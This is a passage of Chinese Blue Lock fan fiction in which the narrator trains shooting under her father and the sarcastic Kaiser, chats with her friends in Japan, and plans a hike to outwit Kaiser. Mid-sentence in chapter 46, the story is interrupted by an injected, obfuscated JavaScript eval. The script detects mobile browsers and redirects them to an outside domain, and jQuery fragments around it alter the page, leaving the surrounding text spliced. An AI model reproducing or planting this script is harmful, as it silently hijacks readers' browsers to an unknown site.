我似懂非懂地点点头。这个比喻,好像……有点道理? “再来一次。”他退开一步,示意我继续。 我再次助跑,尝试着感受他说的“用核心发力”,摆腿——砰!球的力量似乎大了一点,但还是差强人意。 “不对。”凯撒的声音冷冰冰的,“你的腰腹是死的吗?扭起来!像这样——”他忽然做了一个极快的、小幅度的摆腿示范动作,虽然没碰到球,但那瞬间绷紧的核心和爆发出的力量感,隔着空气都能感受到! 我被他突然的动作吓了一跳,下意识地模仿了一下。 “幅度太大!浪费能量!小腿折叠!快摆快放!”他立刻指出问题,语气严厉得像在训斥小学生,“再来!” 我又试了一次。 “眼睛看球!低头干什么?怕踢不到?” 再试。 “脚踝!绷紧!你想把球搓起来当高射炮吗?” 再试。 “太慢了!等你摆好腿,后卫早就把球捅掉了!连贯!流畅!” 他就在旁边不停地指出问题,言语刻薄,毫不留情。我被他训得满头大汗,脸颊发烫,却又不得不承认,他每一次指点都一针见血,让我模糊地意识到自己的问题所在。 我爸一开始还气呼呼地想反驳,但看着看着,他也不说话了,抱着胳膊站在一旁,眉头紧锁,似乎在思考着什么。 内斯则安静地站在场边,时不时帮忙捡一下球,看向凯撒的眼神里充满了崇拜,看向我的眼神则带着鼓励。 不知道第多少次失败后,我累得几乎直不起腰,撑着膝盖大口喘气,汗水顺着下巴滴落在草皮上。心里那点不服气早就被疲惫取代,甚至有点破罐破摔了。 凯撒走到我面前,居高临下地看着我,墨镜遮住了他的眼神,但语气依旧没什么温度:“这就累了?小学徒,你的体能比我想象的还要烂。” 我连瞪他的力气都没有了。 他沉默了几秒,忽然叹了口气,像是极度不耐烦,又像是无可奈何。他转头对内斯说:“去拿几瓶水来。” “好的!凯撒!”内斯立刻跑向场边。 然后,凯撒做了一件让我目瞪口呆的事情——他居然伸手,开始帮我按摩那只因为反复射门而有些酸痛僵硬的右腿大腿后侧和臀部肌肉! 他的手掌很大,手指有力,隔着薄薄的运动裤,能清晰地感受到他掌心的温度和恰到好处的力道。手法……竟然异常专业?不是那种暧昧的抚摸,而是真正针对运动肌肉的放松和按压! 我整个人都僵住了,大脑一片空白,脸颊瞬间爆红!血ye轰地一下全涌上了头顶! “你、你干嘛?!”我像是被烫到一样,猛地想后退,却因为肌肉酸痛和突然的动作差点摔倒。 “别动!”凯撒低喝一声,另一只手稳稳地扶住了我的胳膊,他的语气带着不容置疑的命令,“想明天爬不起来吗?肌肉这么紧,不用手法松解一下,等着乳酸堆积疼死你?” 他说得一本正经,仿佛只是在处理一个普通的运动损伤。但我却因为他这突如其来的、过于亲密的接触而心跳失控,全身的血液都在疯狂奔涌,脸颊烫得能煎鸡蛋! 上帝啊!这个距离!这个姿势!他的手还放在我的腿上!虽然隔着一层布料,但那触感也太清晰了吧! 我爸在一旁也看傻了,张着嘴,半天才憋出一句:“……喂!小子!你……” “清田前辈。”凯撒头也不抬,手指依旧在我腿上有节奏地按压着,语气平淡无波,“如果您不想您女儿明天肌肉酸痛到影响后续训练,最好闭嘴。” 我爸:“……”他居然真的被噎住了,大概是因为凯撒的表情和动作都太过“理直气壮”,完全看不出任何狎昵的成分,纯粹得像队医在干活。 内斯拿着水跑回来,看到这一幕,也愣了一下,脸颊微微泛红,赶紧把水递给我,小声说:“凯、凯撒他其实很擅长这个……他之前都是自己一个人……” 我接过水,手指都在发抖,根本不敢看凯撒,只能低着头,感受着那只手在我腿上按压带来的、混合着酸胀感和强烈羞耻的奇异触感。他的指尖偶尔会碰到一些特别酸痛的点,让我忍不住倒吸一口凉气,身体微微颤抖。 “忍着点。”他的声音从我头顶传来,依旧没什么情绪起伏,“这里粘连有点严重。平时拉伸不到位。” 我咬紧嘴唇,感觉自己快要烧起来了。这个混蛋!为什么总能以各种方式让我陷入这种窘迫到极点的境地! 好不容易熬到他松手,我立刻像受惊的兔子一样猛地后退好几步,拉开距离,结结巴巴地说:“谢、谢谢……可、可以了!” 凯撒直起身,慢条斯理地活动了一下手腕,仿佛刚才只是做了件微不足道的小事。他隔着墨镜瞥了我一眼,嘴角似乎勾了一下:“不用谢。毕竟,你要是废了,我的‘远程教学’不就白费了?” ……果然狗嘴里吐不出象牙!刚刚升起的一丝丝感激瞬间消失得无影无踪! 他把目光转向我爸,语气又恢复了那种嘲讽:“清田前辈,如果您没有更科学的训练计划,我不介意暂时接管她的基础技术指导。虽然麻烦,但总比被您练废强。” 我爸的脸一阵青一阵白,显然被气得不轻,但又无法反驳。刚才凯撒那一套理论和实操,确实比他那种土办法看起来科学多了。 “哼!用不着你操心!老子自有办法!”我爸梗着脖子,强行挽尊,“爱!休息够了没?够了就继续!今天不踢进十个球不准回去!” 我:“……”救命啊! 最终,在我爸的“激情”监督和凯撒偶尔毒舌却精准的“指点”(以及中场休息时那令人窒息的“肌肉松解”)下,我拖着快要散架的身体,终于……蒙进了一个力道和角度都还算不错的射门。 看着足球终于像点样子地飞入球网,我累得直接瘫倒在了草皮上,望着天空大口喘气,连一根手指都不想动了。 我爸在一旁满意地鼓掌:“好!漂亮!我就说我的方法有效吧!” 凯撒轻哼一声,没说话。 内斯小跑过来,给我递上水和毛巾,眼睛亮晶晶的:“爱!你最后那脚踢得真好!进步很快!” 我连道谢的力气都没有了。 休息了一会儿,我终于攒够力气爬起来。训练结束,我爸一边收拾东西一边还在絮絮叨叨地总结今天的问题。凯撒和内斯也准备离开。 就在我们要分道扬镳的时候,凯撒忽然停下脚步,回头看了我一眼,隔着墨镜,看不清他的眼神。 “喂,小学徒。”他忽然开口。 我警惕地看向他。 只见他从口袋里掏出一张折叠起来的纸片,随手扔给了我。 “拿去。省得你练错了地方,浪费我时间。”他语气依旧恶劣,说完,也不等我反应,转身就双手插兜走了。 内斯赶紧对我抱歉地笑了笑,快步跟上。 我愣在原地,低头看着手里那张纸。展开一看,上面竟然用简洁的线条画着几组核心力量训练的动作示意图,旁边还用德语标注了要点和组次数!笔迹凌厉嚣张,一如他本人。 这……是他刚才说的那些训练的示意图? 我捏着那张纸,看着那个逐渐远去的、金蓝挑染的嚣张背影,心情复杂得像打翻了的调色盘。 这个人……真是……太讨厌了! 可是…… 我低头,又看了看手里那张细致又专业的训练示意图。 ……好像,又没那么讨厌了。 呸!一定是累糊涂了! 46. 练习 可恶! 我瘫倒在酒店柔软的大床上,望着天花板上简洁的吊灯,感觉全身的骨头像是被拆开又勉强装回去一样,每一寸肌肉都在发出酸痛的抗议。空气中似乎还残留着训练场草皮的味道,混合着汗水和……某个混蛋身上那该死的、清冽又带着侵略性的气息。 脑海里不受控制地开始复盘今天的训练。那一次次失败的射门,爸爸洪亮的、有时让人摸不着头脑的指令,还有凯撒冰冷又精准的毒舌点评……最后定格在他隔着墨镜投来的、仿佛能看穿一切的目光,以及那双有力而专业地按压在我酸痛肌肉上的手。 我的脸颊又开始发烫,猛地翻了个身,把脸埋进微凉的枕头里,试图驱散那些令人窘迫的画面。 不对,重点不是这个!重点是——我的成绩! 虽然最后蒙进了一个还算不错的球,但整体来看,今天的训练效果简直一塌糊涂!射门的力量、准头、连贯性……非但没有进步,反而因为初期那些错误的发力方式,感觉比训练前还要别扭了!这不是在退步吗? 一种挫败感像藤蔓一样缠绕上来,勒得心脏发闷。明明很努力了,也得到了……嗯,某种程度上算是“专业”的指点,为什么结果还是这样?难道我其实没什么足球天赋?只是凭着一时冲动和那点可怜的家学渊源,实际上根本不适合这条路? 目光瞥到床头柜上的手机,屏幕幽幽地亮着,显示的时间提醒我,日本那边应该是早晨了。玲王和凪……他们应该结束晨训,快到休息时间了吧? 像是抓住了救命稻草,我几乎是迫不及待地拿起手机,点开了那个熟悉的三人聊天群组。指尖在屏幕上犹豫了一下,还是忍不住开始诉苦。 【我:啊——!累死了!感觉快要散架了……[白色小人瘫倒.jpg]】 【我:今天的训练好难……感觉怎么练都不对,好像还在退步……是不是我真的太笨了?】 【我:德国这边训练方式好凶残……我爸更是魔鬼……还有那个凯撒,嘴巴毒得要死,动不动就嘲讽人……】 消息发出去后,我眼巴巴地盯着屏幕,期待能得到一些温暖的安慰和声援。 然而,几秒钟后,玲王的回复跳了出来,语气却有点……微妙的委屈? 【玲王:训练辛苦了……(苦笑)不过,至少你爸爸还在身边亲自指导你……】 【玲王:而且……上次被你爸爸在电话里一起吼了之后,感觉更可怜了……[白色小人泪眼汪汪.jpg]】 紧接着,凪的消息也弹了出来,依旧是那副懒洋洋的调调,但仔细品,居然也透着一股子幽怨: 【凪:嗯……好累……浑身都痛……】 【凪:还被清田先生当成和玲王一样的吵闹小兔子一起骂了……明明我都没说几句话……】 【凪:麻烦……[仙人掌枯萎.jpg]】 我:“……” 完了。光顾着自己诉苦,忘了上次那场惊天动地的跨国骂战,最后以我爸无差别攻击、吼了电话那头的他们告终了!他们俩这是……记上小本本了?还带着点撒娇(?)的委屈? 我顿时有点心虚,赶紧手忙脚乱地开始安慰哄人。 【我:对不起对不起!上次我爸他太激动了!他不是故意的!我代他向你们道歉!(;?д`)ゞ】 【我:玲王大人和凪大人辛苦了!等我回来给你们带好多好多好吃的!】 【我:凪才不是吵闹的小兔子!是最安静的米菲兔!是我爸他没分清!都是凯撒那个混蛋挑事的错!我们一起来骂他!】 试图把仇恨值精准地引向那个真正的罪魁祸首。 这一招果然有效。 【玲王:哼!那个凯撒!果然又是他!】玲王的注意力立刻被转移,语气重新变得义愤填膺, 【爱你不要怕他!他再敢欺负你,你就……你就……】他“就”了半天,似乎也想不出隔着这么远能有什么实质性的威胁,最后只能气呼呼地发来一句, 【你就告诉我!等我出去了找他算账!】 【凪:德国佬……坏……】凪也慢吞吞地附和, 【爱,离他远点……沾上会变得不幸……】 看着他们俩虽然依旧委屈但已经开始同仇敌忾的样子,我忍不住笑了出来,心里的那点苦闷竟然真的消散了不少。果然,幼驯染的力量是无穷的! 我们又东拉西扯地聊了一会儿,互相吐糟训练的痛苦,分享一点无聊的趣事(主要是听凪抱怨玲王盯他训练盯得更紧了),气氛终于重新变得轻松愉快起来。 就在我准备道晚安(对他们来说是早安加油)的时候,玲王忽然又发来一条消息。 【玲王:对了,爱,你一个人在德国那边,虽然有清田先生陪着,但他那个性格……唉。我还是有点不放心。】 【玲王:所以,我给你派了援兵!算算时间,应该快到了吧?】 援兵? 我愣住了,一下子没反应过来。 【我:援兵?什么援兵?】 【玲王:当然是我能信任的、又能照顾好你的人啊!我托了你舅舅过去!他之前就说要去德国出差,时间刚好对得上,我就拜托他顺便去看看你,照顾你一下。】 【玲王:有舅舅在,至少能看着点清田先生,别让他训练你太狠,也能……嗯……防着点某些不长眼的家伙!】 舅、舅舅?! 我彻底懵了。舅舅要来?玲王居然不声不响地安排了这一出?而且舅舅就这么答应了?他来德国出差是真的,但“照顾我”和“防着点某些家伙”这种任务,怎么看都像是玲王额外附加的吧? 想到舅舅那总是带着温柔笑意、实则心思细腻又护短的性格,再想想他要是看到我被爸爸的“魔鬼训练”折磨得惨兮兮的样子,或者……万一不小心撞见凯撒那些令人窒息的操作…… 我的心情顿时有点复杂。一方面,确实很期待见到舅舅,有他在,肯定会舒服很多;但另一方面,又觉得有点不好意思,感觉自己像个需要家长特别关照的小孩子。 【我:玲王……你也太夸张了吧?还特意拜托舅舅……】 【玲王:这有什么!你舅舅那么疼你,肯定愿意的!而且我也担心你啊!】玲王的语气理直气壮, 【总之,有人看着你我也能放心点。记得听舅舅的话!】 【凪:舅舅……是那个会做好吃柠檬派的舅舅吗?】凪的关注点永远那么清奇,我甚至不知道舅舅什么时候给他吃了柠檬派, 【……有点羡慕。蓝色监狱的饭好难吃……】 我被他们两个弄得哭笑不得,那点不甘和郁闷倒是被冲得更淡了。 【我:好吧好吧……谢谢你们啦!我会乖乖听舅舅话的!】 【我:凪,等你出来了,我让舅舅给你做一大堆柠檬派!】 【凪:……动力稍微增加了一点点。】 【玲王:那就说定了!我们要去训练了!你也早点休息!别太累着自己!】 【我:嗯!你们也加油!】 结束通话,我放下手机,长长地吁了一口气。虽然训练的不如意和挫败感依然存在,但和玲王、凪聊过之后,心里那份沉甸甸的压抑感确实减轻了许多。 只是……还是很不甘心啊。 凭什么那个凯撒就能一副居高临下、仿佛我永远练不出来的样子?凭什么我爸那些土办法效果不好还不让人说?凭什么我就得在原地踏步甚至退步? 要不……下次真的自己一个人去练试试?避开我爸,也避开那个讨厌的凯撒。就按照洛基指导的要点,还有……呃,凯撒给的那张示意图上的核心训练,自己安安静静地、慢慢找感觉? 可是,爸爸会同意吗?经过今天凯撒那番毫不留情的“抨击”,爸爸他……会不会对自己的训练方法产生了一点怀疑?虽然他嘴上还是很硬,但以我对他的了解,他其实并不是那种完全固执己见的人,尤其是涉及到足球专业领域的问题。 他刚才收拾东西的时候,眉头就一直皱着,好像真的在思考什么…… 脑子里乱糟糟的,各种念头转来转去。身体的疲惫终于战胜了精神的活跃,眼皮越来越沉。 在陷入沉睡的前一秒,我迷迷糊糊地想:不管怎么样,明天……再说吧……总要……想办法……进步才行…… 绝不能被那个混蛋看扁了…… *** 清晨的训练场没什么人,只有零星几个晨跑者绕着外围跑道慢悠悠地晃过。空气里带着未散尽的凉意和草叶的清新气息,安静得能听到鸟鸣。我特意避开了爸爸平时爱去的那个场地,选了更偏远的一个公共训练场,就是怕被他或者……别的什么人撞见。 我把背包随意放在场边的长椅上,从里面拿出几个我提前准备好的足球。深吸一口气,试图把脑子里那些乱七八糟的念头——爸爸的土法炼钢、凯撒的毒舌点评、还有自己那惨不忍睹的命中率——全都清空。 不再想了。我告诉自己。不要再给自己压力,也不要再纠结那些条条框框。 我把球放在点球点附近,没有立刻助跑,而是闭上眼睛,努力回想。回想的不是洛基的步骤,也不是爸爸的“感觉”,而是……凯撒踢球时的样子。 不是他嘲讽我的样子,而是他在绿茵场上,那种纯粹而强大的模样。那种仿佛与生俱来的、对足球的掌控力,那种爆发前瞬间的冷静,还有射门时那种近乎冷酷的效率和美感的画面。 他的动作在我脑海里闪过,不是分解步骤,而是一种整体的、流畅的、近乎本能的印象。 睁开眼睛,目光落在眼前的足球上。不再思考支撑脚的距离,不再刻意扭动腰腹,不再去琢磨脚踝的角度。 只是看着球。 然后,助跑,摆腿,射门! 整个动作一气呵成,几乎没有经过大脑的思考,全凭着一股骤然涌现的感觉和模仿他而产生的冲动。 砰! 一声闷响!足球如同出膛的炮弹,猛地离地而起,划过一道低平而迅疾的弧线,狠狠地撞入了球网深处!甚至将球网都带得向后扬起! 我愣住了,保持着射门后的姿势,有些难以置信地看着还在球网里滚动的足球。 进……进去了? 而且……力量、速度、还有那一声闷响……和之前软绵绵的射门完全不同! 一股巨大的、难以言喻的喜悦瞬间冲上了心头!心脏砰砰直跳,血液都在沸腾! 成功了!就这样!凭着感觉!不去多想! 我几乎是迫不及待地跑过去捡回球,再次摆好。深吸一口气,努力捕捉着刚才那一瞬间的感觉——那种放空大脑,信任身体本能的感觉。 助跑,摆腿,射门! 砰!又进了!虽然角度稍微正了一些,但力量依旧十足! 太好了!就是这样! 我像是发现了新大陆,兴奋得脸颊发烫。一次又一次地将球摆好,然后重复着过程:放空,感受,助跑,摆腿,射门! 我不再满足于点球点的距离,开始逐渐后退,加大难度。二十五码,三十码…… 大部分射门都取得了不错的效果,足球带着呼啸声一次次地钻入网窝。当然也有失误的时候,偶尔会打高,或者偏出,但我不再像之前那样沮丧,而是立刻回想一下刚才是不是哪里犹豫或者刻意了,然后调整心态,继续尝试。 不知道重复了多少次,不知道过了多久,直到额头上布满了细密的汗珠,呼吸也变得急促,我才终于感到了一种酣畅淋漓的满足感。不是疲惫,而是一种彻底活动开、并且掌控了某种节奏的舒爽。 我停下动作,双手叉腰,微微喘着气,看着散落在球门里和周围的足球,心里充满了成就感。虽然距离“精准”还有很长的路,但至少,我找到了那么一点“感觉”的影子,不再像无头苍蝇一样乱撞了。 舒服了。 我长长地呼出一口气,感觉胸中的郁结都随着汗水排了出去。忍不住伸了个大大的懒腰,活动了一下有些酸软的四肢,准备收拾东西回去犒劳一下自己。 然而, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251846|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在我转过身,视线漫不经心地扫向场边的那一刻—— 我的动作瞬间僵住了,伸懒腰的手臂甚至都忘了放下来,整个人如同被施了定身咒,石化在了原地。 只见场边的长椅旁,不知何时,悄无声息地多了三个人。 我爸抱着胳膊站在那里,脸上带着一种极度复杂、混合着惊讶、欣慰、不爽和“我家白菜居然自己会拱土了”的诡异表情。 他的旁边,站着亚历克西斯·内斯。内斯手里还拿着一瓶没开封的水,那双梅色的眼睛睁得大大的,写满了毫不掩饰的惊喜和赞叹,嘴巴微微张着,似乎刚刚发出过惊呼。 而最让我头皮发麻、血液几乎逆流的是—— 在内斯旁边,稍靠前一点的位置,米歇尔·凯撒正斜倚着长椅的靠背,双手环胸,一条长腿随意地曲着。他脸上依旧戴着那副遮住大半张脸的墨镜,看不清眼神,但那双线条优美的、总是吐出刻薄话语的嘴唇,此刻却极其罕见地、没有带着惯有的嘲讽弧度,而是微微抿着,似乎……有些惊讶,又像是在评估着什么。 他居然……也在?! 他们三个……什么时候来的?!看了多久了?!为什么一点声音都没有?! 巨大的震惊和窘迫感如同海啸般将我淹没!我刚才那些对着空气模仿他、还有进球后傻笑、甚至伸懒腰的蠢样子……岂不是全被看到了?!尤其是被凯撒看到了! 我的脸颊猛地爆炸般滚烫起来,心脏疯狂地擂鼓,恨不得立刻原地挖个洞钻进去! 空气仿佛凝固了。清晨的微风似乎都停止了流动。 最先打破这诡异沉默的是内斯。他像是终于从震惊中回过神,脸上瞬间绽放出灿烂无比的笑容,激动地小跑着迎了上来,声音里充满了真诚的喜悦: “爱!你太厉害了!刚才那些射门!力量好足!速度也好快!进步太大了!简直不敢相信!”他一边说着,一边把手里的水递给我,“快喝点水!累了吧?我们都看呆了!” 我机械地接过水瓶,指尖冰凉,甚至不敢拧开,眼神飘忽,根本不敢看向凯撒的方向,只能对着内斯挤出一个比哭还难看的笑容:“谢、谢谢……内斯……你们……什么时候来的?” “来了有一会儿了!”我爸终于开口了,声音洪亮,带着一种难以掩饰的、与有荣焉的得意,但似乎又有点别扭,“哼!臭小子还说我的方法不行!看!我女儿自己练练不也开窍了!这天赋!随我!” 他说着,还故意瞥了凯撒一眼,像是在挑衅。 凯撒对于我爸的挑衅毫无反应,他甚至没有改变一下姿势,依旧保持着那种斜倚的、审视的姿态。墨镜的方向精准地对着我,仿佛能穿透我此刻的慌乱和窘迫。 就在我被他看得浑身不自在,几乎要落荒而逃的时候,他终于动了。 他极其缓慢地直起身,离开了椅背。然后,迈开长腿,不紧不慢地朝我走了过来。 嗒,嗒,嗒。鞋底轻轻敲击地面的声音,在寂静的清晨训练场里显得格外清晰,每一步都像是踩在我的心跳节拍上。 我下意识地后退了半步,心脏跳得更快了。 他在我面前一步远的地方站定,居高临下地看着我。即使隔着墨镜,我也能感受到那目光的锐利。 他没有说话,只是微微歪了下头,像是在思考什么难题。 时间仿佛被拉长了。内斯紧张地看着我们,我爸也抱着胳膊,一副“看你能放出什么屁来”的表情。 终于,凯撒的嘴唇动了动。那总是吐出刻薄话语的器官,此刻发出的声音却带着一种罕见的、近乎平淡的……认可? “哼。”他先是从鼻子里发出一个意义不明的单音,然后才用一种听起来依旧有点拽、但挑剔程度明显下降了的语调说道: “……总算有点样子了。小学徒。” 他顿了顿,补充了一句,像是在解释他那吝啬的表扬。 “虽然动作还是丑得没法看。” 我:“……” 果然!狗嘴里就吐不出象牙!刚刚那一瞬间觉得他可能会说人话的我真是个大傻瓜! 然而,比起之前那些纯粹的嘲讽和打压,这句“总算有点样子了”和“动作丑得没法看”的混合评价,竟然让我在羞恼之余,心底深处,可耻地冒出了一丝微弱的、几乎可以忽略不计的……窃喜? 呸!谁在乎他的评价! 我猛地抬起头,想瞪他,却正好对上他微微勾起的嘴角。那弧度很浅,转瞬即逝,快得让我怀疑是不是眼花了。 他不再看我,转而对着我爸,语气又恢复了那种欠揍的傲慢:“清田前辈,看来您的女儿还没笨到无可救药。至少……模仿能力还算及格。” 我爸气得吹胡子瞪眼:“什么叫模仿能力及格!那是天赋!天赋你懂吗!” 凯撒轻哼一声,不置可否。他双手重新插回口袋,侧过身,最后又“瞥”了我一眼——尽管隔着墨镜。 “继续保持。”他丢下这四个字,听起来像命令,又像是一种……另类的鼓励?“别又变回那个只会用大腿推球的笨蛋。” 说完,他不再停留,转身就朝着训练场外走去,那副金蓝挑染的背影在清晨的阳光下,依旧嚣张得不可一世。 内斯赶紧对我露出一个鼓励的笑容,小声说了句“爱,你真的踢得很棒!” 然后匆匆跟上凯撒的脚步。 我爸还在原地嘟囔着“臭小子什么态度”,但脸上那点得意却怎么也藏不住。 而我,站在原地,手里还捏着那瓶冰凉的水,看着凯撒远去的背影,心里像是打翻了五味瓶,酸甜苦辣咸混杂在一起,最后都化为了一种复杂的、难以言喻的情绪。 清晨的风再次吹过,带着草叶的沙沙声。 我低头,看了看自己的脚,又看了看球门里那些足球。 好像……真的,进步了一点点? 至少,终于让那个混蛋的嘴里,吐出一句不那么像毒液的话了。 虽然,还是很难听就是了! 可恶! 47. 爬山 等待不如主动出击。 这个念头一旦生根,就像藤蔓一样迅速缠绕住所有的犹豫和胆怯。与其被动地等着不知道什么时候会出现的“惊喜”(或者惊吓),不如自己掌握主动权。尤其是在见识过凯撒那种神出鬼没、完全不按常理出牌的作风之后,我深深觉得,防守永远不如进攻来得痛快。 正好,内斯又发来了消息,语气一如既往地温暖又带着点小心翼翼,询问我这两天有什么安排,想不想再出去逛逛,这次他“绝对确认过凯撒的行程了,他有整整一天的战术分析会,绝对不会出现!” 我看着那条消息,嘴角忍不住弯了一下。善良的内斯,他大概永远也摸不透他家那位任性的国王到底下一秒会想干什么。战术分析会?对凯撒来说,恐怕想溜就能溜出来吧。 不过,这次我可不打算再躲了。 手指在屏幕上飞快地敲击。 【我:好啊!正好我想练练体能,老是平地跑步有点无聊了。内斯,你知道附近有什么适合爬的山吗?不用太高,风景好一点的?】 把爬山和体能训练结合起来,听起来合情合理,既能达到锻炼目的,又能欣赏风景,还能……嗯,实施我的小小“计划”。 内斯果然立刻积极响应。 【内斯:爬山?很好的主意!慕尼黑周边有很多美丽的山丘,徒步路线也很成熟!交给我吧!我找一座难度适中、风景绝佳的山!保证让你满意!(^o^)】 他甚至还发来了几个链接,点开是不同山丘的简介和路线图,看起来确实做足了功课。 我笑着回复了确认的信息,然后立刻点开了另一个聊天框——我舅舅的。 【我:舅舅舅舅!救命!计划有变!需要你提前登场了!】我飞快地把我的想法和需要他配合的部分发了过去。 舅舅回复得很快,带着他一贯的看热闹不嫌事大的乐子人语气:【哦?终于要对你那位‘家教’下手了?没问题!包在舅舅身上!保证给你办得漂漂亮亮!时间地点发来!】 搞定!放下手机,我长长地舒了一口气,心里混合着一种恶作剧般的期待和一点点小小的紧张。凯撒,这次轮到你了。 出发的那天早上,我特意起了个大早,认真检查了我的背包:充足的水,高能量的零食,防晒霜,简易急救包,擦汗的毛巾,还有一件轻薄的外套——山上的天气说变就变,这些都是基础必备。看着塞得满满当当、堪称专业的背包,我心里莫名升起一股成就感。 约定的地点在市中心的地铁站口。我到的时候,内斯已经等在那里了。他穿着一身轻便的运动装,背着一个看起来也不小的登山包,衬得他身形更加清瘦。看到我,他立刻露出灿烂的笑容,快步迎了上来。 “爱!早上好!你看起……”他的话音未落,目光越过我的肩膀,表情瞬间僵了一下,笑容也变得有些勉强起来,“……呃,凯撒?你、你怎么来了?不是说今天有……” 我的心猛地一沉,几乎是条件反射地顺着他的目光扭头望去。 果然!那个阴魂不散的身影! 凯撒正慢悠悠地从地铁站里踱出来。他今天倒是没穿那些看起来就价格不菲的休闲服,而是一身看起来就很专业的黑色运动装,勾勒出挺拔修长的身形。但他身上唯一的“装备”,大概就是鼻梁上那副万年不变的、遮住大半张脸的墨镜,以及……手里拿着的一瓶喝了一半的矿泉水。 他甚至连个最基本的腰包都没带!一副“我就是来随便走走视察领地”的傲慢模样。 他看到我们,尤其是看到我那个鼓鼓囊囊的大背包和内斯那个也不小的登山包时,墨镜下的嘴角似乎极其轻微地勾了一下,露出一丝毫不掩饰的嘲讽。 “战术分析会提前结束了。”他言简意赅地解释了内斯的疑问,然后目光落在我身上,语气懒洋洋的,“爬山?小学徒,你是要去野外生存吗?” 我的火气“噌”地一下就上来了!尤其是对比他那一身轻松、仿佛只是去楼下便利店逛一圈的打扮,我这精心准备的行头显得如此……笨拙又多余? 但是,等等——我看着他空空如也的双手和那瓶可怜的水,再想想我包里那些充足的补给,一个没忍住,“噗嗤”一声笑了出来。 他这副样子,哪里像是去爬山的?分明就是个去公园遛弯还忘记带茶壶的老大爷!还是特别臭屁的那种! “你笑什么?”凯撒的眉头几不可查地皱了一下,显然对我的反应很不满意。 “没、没什么……”我努力憋住笑,肩膀却控制不住地抖动,“就是觉得……凯撒先生您这身装备,真是……简约而不简单,特别有……前瞻性!”对,前瞻性,等着渴死饿死或者被太阳晒死的前瞻性! 内斯在一旁吓得脸都白了,拼命对我使眼色,示意我别再招惹这位大爷。 凯撒盯着我看了几秒,似乎想从我这憋笑憋得痛苦的脸上找出点讽刺的意味,但最终只是冷哼了一声,率先朝着公交车站的方向走去:“废话真多。走了。” 内斯松了口气,赶紧对我小声说:“爱,你别介意……凯撒他可能就是临时起意……他体力很好的,不用担心……” 我点点头,表示理解。内心却在疯狂呐喊:谁担心他了!我是等着看好戏啊! 前往山脚下的公交车程大概四十多分钟。一路上,内斯尽职尽责地给我介绍着这座山的特色和沿途风景,试图活跃气氛。凯撒则全程戴着墨镜靠着车窗,一副“莫挨老子”的闭目养神状,也不知道是真睡还是假寐。 终于到了山脚下。抬头望去,郁郁葱葱的山峦起伏,几条清晰的徒步小径蜿蜒向上,消失在林荫深处。空气果然比市区清新许多,带着草木的清香。 “我们选这条路线吧?”内斯指着一条标识为“中等难度,风景优美”的路径,征求我们的意见,“坡度比较缓和,沿途有几个很棒的观景点。” “我没意见。”我表示同意。 凯撒无可无不可地抬了抬下巴。 “好!那我们就出发吧!”内斯显得干劲十足。 刚开始的一段路确实比较平缓,我们并排走着,还能轻松地聊天。内斯的知识面很广,无论是植物还是地质,都能说上一二。我听得津津有味,时不时附和几句。凯撒依旧沉默地走在旁边,速度不紧不慢,呼吸平稳,那瓶水还剩下小半瓶。 但渐渐地,坡度开始变陡,台阶也多了起来。我的呼吸不可避免地加重了,额头上渗出了细密的汗珠。背包虽然经过了精心准备,但重量是实打实的,压在肩上,感觉越来越沉。 反观凯撒……他居然还是一副闲庭信步的样子!甚至连呼吸频率都没怎么变!那轻松的姿态,仿佛脚下不是陡峭的山路,而是拜塔训练基地平整的草皮!这家伙的体能果然是个怪物! 内斯注意到了我的吃力,体贴地放慢了速度,跟我保持着并肩,时不时关切地问一句:“爱,还好吗?需不需要休息一下?或者我帮你背一会儿包?” “没、没事!”我咬咬牙,努力调整呼吸,“我可以的!这点程度……小意思!”怎么能在他面前认输! “哼。”前面传来凯撒一声极轻的嗤笑,虽然他没回头,但那声音里的嘲讽意味简直拉满。 可恶!更来气了! 就在这时,我看到了前方路边出现了一个指示牌,上面标注着一个观景台的距离和方向。心里默算了一下时间和舅舅可能埋伏的位置,一个念头冒了出来。 我猛地加快脚步,超过内斯,几乎追到了凯撒身后,然后故意用一种带着挑衅的语气大声说:“喂!光是走路太无聊了!敢不敢比一比?看谁先到那个观景台?” 凯撒的脚步顿了一下,终于回过头,墨镜转向我,即使看不到眼睛,我也能感受到那后面投来的“你没事吧”的目光。 “比这个?”他的语气充满了荒谬感,“小学徒,你是爬山把脑子也累坏了吗?” “你就说敢不敢吧!”我仰起下巴,努力做出气势十足的样子,“不会是怕输给我吧?” 激将法对凯撒这种傲慢到骨子里的人,效果总是出奇的好。 他嘴角勾起一个危险的弧度:“激我?你会后悔的。” “谁后悔还不一定呢!”我嘴硬道,然后不等他再说什么,猛地吸了一口气,大喊一声:“开始!” 喊完,我就铆足了劲,像只受惊的兔子一样,沿着台阶拼命向上冲去!我能听到身后内斯惊讶的呼声,还有凯撒似乎发出了一声极其不屑的冷哼。 然而,实力的差距是客观存在的。我拼尽全力冲了大概不到五十米,就感觉肺部像火烧一样,腿也像灌了铅,速度不可避免地慢了下来。而身后,一阵不紧不慢的脚步声轻松地接近,然后,那个黑色的、令人绝望的身影就毫不费力地超越了我,甚至还在经过我身边时,极其欠揍地侧过头,用那气死人的慵懒语调说: “加油哦,小学徒。我在山顶等你。” 说完,他甚至还加快了点速度,几个起落就把我远远地甩在了后面,那身影轻松得仿佛不是在爬陡坡,而是在坐电梯! 混蛋!怪物!非人类! 我气得差点一口气没上来,脚步一乱,差点绊倒。 “爱!小心!”内斯及时从后面赶上来,扶住了我的胳膊,语气充满了担忧,“你没事吧?别跟凯撒比这个啊……他的体能……”他后面的话没说完,但意思很明显了——那是非人领域的怪物,你跟他比纯属自取其辱。 我看着凯撒几乎快要消失在山路尽头的背影,虽然气得牙痒痒,但心里却暗暗松了口气——计划通!他果然上钩了,并且以最快的速度冲向了“终点”!完美! 我喘着粗气,对着内斯摆摆手:“没、没事……我就是……激他一下……让他先上去……”这话说得断断续续,一半是真累,一半是装的。 